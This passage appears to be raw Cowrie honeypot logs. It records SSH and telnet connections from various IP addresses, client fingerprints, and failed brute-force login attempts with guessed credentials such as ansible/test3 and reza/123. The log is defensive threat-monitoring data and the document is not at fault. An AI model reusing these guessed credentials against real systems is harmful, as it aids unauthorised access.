{"eventid":"cowrie.session.closed","duration":120.00164413452148,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:08:06.304733Z","src_ip":"45.186.135.53","session":"74bd00a65890","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.186.135.53","src_port":20460,"dst_ip":"159.203.135.109","dst_port":23,"session":"329e46840a47","protocol":"telnet","message":"New connection: 45.186.135.53:20460 (159.203.135.109:23) [session: 329e46840a47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:08:06.933721Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.186.135.53","src_port":20525,"dst_ip":"159.203.135.109","dst_port":23,"session":"29e37eeb55a6","protocol":"telnet","message":"New connection: 45.186.135.53:20525 (159.203.135.109:23) [session: 29e37eeb55a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:08:09.760778Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":48184,"dst_ip":"10.17.0.5","dst_port":23,"session":"e87b4d9adf72","protocol":"telnet","message":"New connection: 199.103.61.230:48184 (10.17.0.5:23) [session: e87b4d9adf72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:08:18.327224Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52770,"dst_ip":"159.203.135.109","dst_port":22,"session":"eee8c01cbc8d","protocol":"ssh","message":"New connection: 159.203.92.129:52770 (159.203.135.109:22) [session: eee8c01cbc8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:08:21.445627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:08:21.449785Z","src_ip":"159.203.92.129","session":"eee8c01cbc8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:08:21.454350Z","src_ip":"159.203.92.129","session":"eee8c01cbc8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"test3","message":"login attempt [ansible/test3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:08:21.464998Z","src_ip":"159.203.92.129","session":"eee8c01cbc8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:08:22.470951Z","src_ip":"159.203.92.129","session":"eee8c01cbc8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":49412,"dst_ip":"10.17.0.5","dst_port":23,"session":"dce10b47cb1c","protocol":"telnet","message":"New connection: 199.103.61.230:49412 (10.17.0.5:23) [session: dce10b47cb1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:08:28.566446Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":55364,"dst_ip":"159.203.135.109","dst_port":23,"session":"e66a81f5a6b9","protocol":"telnet","message":"New connection: 185.26.126.47:55364 (159.203.135.109:23) [session: e66a81f5a6b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:08:29.159285Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":51662,"dst_ip":"10.17.0.5","dst_port":23,"session":"d04205a7589a","protocol":"telnet","message":"New connection: 199.103.61.230:51662 (10.17.0.5:23) [session: d04205a7589a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:08:44.694569Z"}
{"eventid":"cowrie.session.closed","duration":31.878315687179565,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:08:50.205406Z","src_ip":"199.103.61.230","session":"e87b4d9adf72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.99.170.152","src_port":47550,"dst_ip":"159.203.135.109","dst_port":22,"session":"2324e2182f4b","protocol":"ssh","message":"New connection: 50.99.170.152:47550 (159.203.135.109:22) [session: 2324e2182f4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:08:52.485944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:08:52.490637Z","src_ip":"50.99.170.152","session":"2324e2182f4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:08:52.548724Z","src_ip":"50.99.170.152","session":"2324e2182f4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testaccount","password":"testaccount","message":"login attempt [testaccount/testaccount] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:08:52.818655Z","src_ip":"50.99.170.152","session":"2324e2182f4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:08:53.880654Z","src_ip":"50.99.170.152","session":"2324e2182f4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43894,"dst_ip":"159.203.135.109","dst_port":22,"session":"f031923d468b","protocol":"ssh","message":"New connection: 159.203.92.129:43894 (159.203.135.109:22) [session: f031923d468b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:09:06.420812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:09:06.426945Z","src_ip":"159.203.92.129","session":"f031923d468b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:09:06.433168Z","src_ip":"159.203.92.129","session":"f031923d468b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"turbine!666","message":"login attempt [ansible/turbine!666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:09:06.451277Z","src_ip":"159.203.92.129","session":"f031923d468b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:09:07.458149Z","src_ip":"159.203.92.129","session":"f031923d468b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.03719973564148,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:09:09.196386Z","src_ip":"185.26.126.47","session":"e66a81f5a6b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.486490964889526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:09:16.180948Z","src_ip":"199.103.61.230","session":"d04205a7589a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":56166,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f410f2390bf","protocol":"telnet","message":"New connection: 199.103.61.230:56166 (10.17.0.5:23) [session: 0f410f2390bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:09:18.046406Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":56024,"dst_ip":"10.17.0.5","dst_port":23,"session":"38c2e372a02b","protocol":"telnet","message":"New connection: 199.103.61.230:56024 (10.17.0.5:23) [session: 38c2e372a02b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:09:21.079961Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.181.221.226","src_port":59842,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bfb33c613d7","protocol":"telnet","message":"New connection: 89.181.221.226:59842 (10.17.0.5:23) [session: 7bfb33c613d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:09:36.943128Z"}
{"eventid":"cowrie.session.closed","duration":3.8502907752990723,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:09:40.793303Z","src_ip":"89.181.221.226","session":"7bfb33c613d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.99.170.152","src_port":49398,"dst_ip":"159.203.135.109","dst_port":22,"session":"85d4c9b08c78","protocol":"ssh","message":"New connection: 50.99.170.152:49398 (159.203.135.109:22) [session: 85d4c9b08c78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:09:44.430544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:09:44.434319Z","src_ip":"50.99.170.152","session":"85d4c9b08c78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:09:44.491318Z","src_ip":"50.99.170.152","session":"85d4c9b08c78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reza","password":"123","message":"login attempt [reza/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:09:44.754486Z","src_ip":"50.99.170.152","session":"85d4c9b08c78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:09:45.817235Z","src_ip":"50.99.170.152","session":"85d4c9b08c78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.90698003768921,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:09:49.953273Z","src_ip":"199.103.61.230","session":"0f410f2390bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39688,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b9849c08248","protocol":"ssh","message":"New connection: 159.203.92.129:39688 (159.203.135.109:22) [session: 7b9849c08248]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:09:51.571783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:09:51.576625Z","src_ip":"159.203.92.129","session":"7b9849c08248","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:09:51.583749Z","src_ip":"159.203.92.129","session":"7b9849c08248","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"tydyb98","message":"login attempt [ansible/tydyb98] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:09:51.593456Z","src_ip":"159.203.92.129","session":"7b9849c08248","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:09:52.600043Z","src_ip":"159.203.92.129","session":"7b9849c08248","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.4456582069397,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:09:53.525502Z","src_ip":"199.103.61.230","session":"38c2e372a02b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00151252746582,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:10:06.935110Z","src_ip":"45.186.135.53","session":"329e46840a47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.186.135.53","src_port":20206,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b3152a43743","protocol":"telnet","message":"New connection: 45.186.135.53:20206 (159.203.135.109:23) [session: 7b3152a43743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:10:07.663876Z"}
{"eventid":"cowrie.session.closed","duration":120.00108242034912,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:10:09.761760Z","src_ip":"45.186.135.53","session":"29e37eeb55a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.186.135.53","src_port":20772,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e3b715eca15","protocol":"telnet","message":"New connection: 45.186.135.53:20772 (159.203.135.109:23) [session: 6e3b715eca15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:10:10.386327Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.186.135.53","src_port":20878,"dst_ip":"159.203.135.109","dst_port":23,"session":"20ebc800e5dd","protocol":"telnet","message":"New connection: 45.186.135.53:20878 (159.203.135.109:23) [session: 20ebc800e5dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:10:10.727674Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.155.230","src_port":48076,"dst_ip":"159.203.135.109","dst_port":22,"session":"76735135e8b1","protocol":"ssh","message":"New connection: 34.78.155.230:48076 (159.203.135.109:22) [session: 76735135e8b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:10:23.160911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Fingerprintx-SSH2","message":"Remote SSH version: SSH-2.0-Fingerprintx-SSH2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:10:23.242318Z","src_ip":"34.78.155.230","session":"76735135e8b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.155.230","src_port":48078,"dst_ip":"159.203.135.109","dst_port":22,"session":"72ad96a1b151","protocol":"ssh","message":"New connection: 34.78.155.230:48078 (159.203.135.109:22) [session: 72ad96a1b151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:10:23.400265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:10:23.404990Z","src_ip":"34.78.155.230","session":"72ad96a1b151","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dde267e50f82fcc16a7e1e7b59b8af71","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256@libssh.org,curve25519-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256@libssh.org","curve25519-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ec